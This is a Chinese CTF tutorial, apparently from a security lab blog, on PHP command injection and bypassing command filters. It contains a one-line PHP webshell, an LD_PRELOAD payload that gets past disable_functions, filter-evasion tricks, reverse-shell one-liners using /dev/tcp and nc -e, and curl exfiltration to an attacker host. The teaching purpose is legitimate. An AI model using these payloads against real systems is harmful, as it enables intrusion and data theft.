在先容命令注入之前,有一点须要把稳:命令注入与远程代码实行不同。
他们的差异在于,远程代码实行实际上是调用做事器网站代码进行实行,而命令注入则是调用操作系统命令进行实行。

作为CTF最根本的操作,命令实行的学习紧张是为了往后进一步利用webshell打下根本

同样的,本日还会先容如何利用各种命令实行绕过的办法

phpiniftppasvCTF中的敕令履行绕过 Bootstrap

首先我们先来看代码实行

动态调用:

这个地方是ctf曾经的一个考点,也是我在强网杯出过的一道题目,叫"高明的黑客",里面利用的便是稠浊代码+动态函数调用,这种写法实际上在红蓝攻防中很常常用到,便是一堆函数进行稠浊,然后在里面插入一个动态函数进行真正的代码实行或者是命令实行。

当时那道题目的灵感是来自于一场安全相应,黑客攻陷网站后,在里头插入了稠浊往后的代码,1000多个文件里面只有一条路径是正常实行的,末了是利用debug直接看栈内存的调用来判断哪个路径是真的动态调用。

<?php$a = 'assert';$a($_POST['a']);?>

常见的命令实行函数

常见命令实行函数system()passthru()exec()shell_exec()`反引号

反引号

➜ ~ php -r "echo @whoami;"

这个是大家很随意马虎忘却的一个命令实行点,ctf赛题最近也出了很多道关于这个的题目。
我们在第二篇中会拿一个例子来详细剖析他的浸染。

命令实行绕过

以上是我们常见的代码注入或者是命令注入的函数,但是很多时候在ctf中,出题人不会那么轻易的就让我们实行命令。
因此我们必须要能够节制多种命令实行绕过的姿势。

一样平常来说,碰着的无非以下两种情形:

disable_function过滤字符

disable_function

这个东西很明显便是什么呢,你能够代码实行了,但是创造不论是蚁剑还是你自己手打,都实行不了系统命令,然后你用phpinfo这种函数读取后创造如下配置:

实际上是开拓者在后真个php.ini里写了如下语句

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

最常用的便是两种办法

ld_preloadphp_gc

ld_preload

今年来比较少考到,但是在红蓝攻防中很常常运用

须要对面知足条件是:对面没有禁用mail函数(可能这也是最近比赛不爱考这个的缘故原由之一,如果禁用了mail,那即是便是稽核别的点了,不禁用mail又一堆人用这个方法绕过,也很没故意思)操作方法:

hack.c#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system("ls /var/www/html > /tmp/smity");}int geteuid(){ if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}

将带有命令的c文件编译成为.so文件然后通过代码实行传入(这里可以直接用蚁剑)

gcc -c -fPIC hack.c -o hackgcc --share hack -o hack.so

然后传入如下php文件

<?phpputenv("LD_PRELOAD=./hack.so");mail('','','','');?>

访问php文件就可以运行刚才的命令了。
然后可以在/tmp/smity文件下看到ls的结果。

php_gc

从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码实行却没有命令实行,以是常日步骤便是,利用蚁剑链接我们的shell代码实行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix)

这里的大家可以参考这个博客,里面有比较详细的脚本,由于太长了就不贴在这里了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

过滤字符

这个限定一样平常是题目中许可你利用system,但是很奇怪的是你却没有办法获取实行命令的结果

比如,对面过滤了空格,你能实行ls,但是没法cat读取文件

比如,对面过滤了flag这个词语,什么文件都可以读取,便是没办法读取flag

等等,都是ctf题目做到末了,这个出题人小心思故意在这里卡你一下。
这个时候你就须要试试我接下来讲的这些方法:

空格代替

空格在bash下,可以用以下字符代替空格

<${IFS}$IFS$9%09

root@kali:~# cat<test.txthello world! root@kali:~# cat${IFS}test.txthello world! root@kali:~# cat$IFS$9test.txthello world!

这里阐明一下${IFS},$IFS,$IFS$9的差异,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash阐明器会把全体IFSa当做变量名,以是导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的浸染,而$9指的是当前系统shell进程的第九个参数的持有者,便是一个空字符串,因此$9相称于没有加东西,即是做了一个前后隔离。

截断符号

ctf很喜好考的一点是命令实行的连接,这个地方它常日会给一个已有的命令实行,比如代码写好了ping命令,叫你填写一个ip参数这样的题目,这个时候就须要测试截断符号,将你输入的ip参数和后面要实行的命令隔开。
首先测试所有的截断符号:

‘$’‘;’‘|’‘-’‘(’ ‘)’‘反引号’‘||’‘&&’‘&’‘}’‘{’ %0a可以当作空格来用;

利用截断符号合营普通命令大略问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt这样就可以达到同时实行两条命令的效果

利用base编码绕过

这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种办法将cat先base64编码后再进行解码运行。

root@kali:~# echo 'cat' | base64Y2F0Cg== root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txthello world!

连接符,用两个单引号可以绕过

cat /etc/pass'w'd这个是现在很喜好考的点之一,基本能通杀大部分命令注入waf由于单引号一旦过滤很大程度上会影响正常解题。

反斜杠利用

这个是很经典的hitcon题目,hitcon连续好几年出了绕过长度限定实行命令的题目

比如七个字符实行命令

七个字的命令实行

这里先先容一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

\ 在linux里也是个连接符,最早利用在屏幕不能容纳超过18个字符的第一代打算机,用于连接高下两行,这里利用它来绕过限定

语句为wget 域名.com -O shell.php

ls > a 写入做事器文件然后sh a 读取

这里把稳.不能作为文件名的开头,由于linux下.是隐蔽文件的开头,ls列不出来

然而这里还有个问题,便是ls下的文件名是按照字母顺序排序的,以是须要基于韶光排序 将末了的命令改成ls -t>a

至于绕过5个字符实行命令,绕过4个字符,那实在都是用\做的trick,这里不一一赘述了。

命令实行结果返回长度受限定

这次在高校战役上有一道题目提醒了我这个,出题人实在能过滤的就那么多,那么还有一种方法卡住你便是不让你看到命令实行的完全结果,比如不回显或者是回显一行,这次题目须要用道soapclient做代码实行,但是它有一点不好便是没办法回显完全,只能看到一行结果,这样对我们的命令实行很未便利,而且dev文件没有权限利用,这个时候我们可以用下面这个反弹shell的办法。

实在反弹shell的命令大家很喜好用这个:

bash -i >& /dev/tcp/ip/port 0>&1

但是这个有一点不好,他须要dev也须要bash,实际上用我下面这个命令会更大略:监听端口后

nc -e /bin/bash ip port

这样也可以拿到shell,实在实质是一样的,没有太大差异,只是简化了一下。

一道很经典的命令实行绕过

这个题目彷佛看到两次了,一开始大家都不会脑洞,后来创造这次还是好多人没有学会,也没有去总结poc:

<?php highlight_file(__FILE__);if ($x = @$_GET['x']){ eval(substr($x, 0, 5));}

首先先明白这个地方限定了什么

限定了只能代码实行限定了只能实行一个变量$x限定了这个变量的长度

以是这个地方一共有两个思路

传入数组,让他能够实行多个变量,由于$_GET是个数组,但是这个思路是缺点的,由于GET虽然能传入多个变量,但是已经限定了只能实行$x,而$x来自GET数组里键值为x的变量,以是第这个我们放弃。
反引号实行自己,传入$x本身,也便是说,直接让$_GET['x']=$x,这样一来 ,就会使得$x=$x,如果$x是命令,就会通过反引号自己来实行它

如果$x后面再跟上我们之前讲的连接符会是什么样呢

`$x`;abcd

那么纵然取出前5个字符,还是会实行全体的$x,用上分隔符就会实行多条命令

假设我们在这里加点难度,没有回显,实行命令但是不给你结果,怎么办呢?

两种方法

反弹shellcurl

反弹shell,我们这里可以利用;来连接命令,

$x;nc -e /bin/bash ip port

然后在自己做事器端口 nc -lvv 8080进行监听

但是这题假如再难一点,没有权限实行反弹shell这个操作呢

我们还可以用另一种方法:

curl的妙用

在curl里面有这几种办法

直接ip发送get包

-d发送post包

-v 显示全体通信过程

--data发送数据

这里可以利用curl -v http://ip?whoami

或者 curl -v http://ip --data whoami

IP为自己做事器,就可以在/var/log/apache2/access.log下看到命令实行的结果了。

实验推举

命令实行漏洞http://hetianlab.com/expc.do?ce=e0f94878-e150-4f12-bb9b-8d50f04290e9(实验以大略PHP源码调用关键系统函数,通过WEB实行任意系统命令)

声明:笔者初衷用于分享与遍及网络知识,若读者因此作出任何危害网络安全行为后果自大,与合天智汇及原作者无关!